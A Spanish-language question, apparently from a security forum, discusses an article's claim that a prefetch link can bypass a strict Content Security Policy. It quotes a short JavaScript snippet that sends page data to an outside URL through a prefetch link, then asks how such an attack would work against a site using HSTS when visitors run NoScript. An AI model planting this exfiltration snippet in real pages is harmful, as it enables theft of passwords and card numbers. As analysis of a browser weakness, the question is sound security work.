El artículo I'm Recoger números de tarjeta de crédito y contraseñas de su sitio. A continuación, se explica cómo. describe las fases de un ataque teórico en el que un atacante puede pasar por alto un CSP estricto y eliminar información confidencial. El artículo afirma que esta secuencia de comandos puede omitir CSP:
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
Esto se aprovecha del hecho de que el comportamiento de prefetch
en el estándar CSP no está bien especificado. En Chrome, esto funciona, pero Firefox actualmente evita que esto suceda (lo que puede cambiar determinadas quejas de los usuarios en el informe de errores). El artículo afirma que esto funciona incluso con la política de seguridad más estricta:
Content-Security-Policy: default-src 'none'; script-src 'self'
Lo que es cierto porque actualmente no hay ningún comportamiento alternativo para prefetch
. Sin embargo, lo que no se aborda es que el código del atacante todavía tiene que ser inyectado (fuera de línea) de alguna manera. El artículo "Omitir la Política de Seguridad de Contenido con la búsqueda previa de DNS" sugiere que esto se haga al encontrar una vulnerabilidad XSS en otro lugar.
Suponiendo que el sitio web de destino utiliza HSTS y que un usuario que visita el sitio web utiliza NoScript, ¿qué aspecto tendría un vector de ataque de este tipo?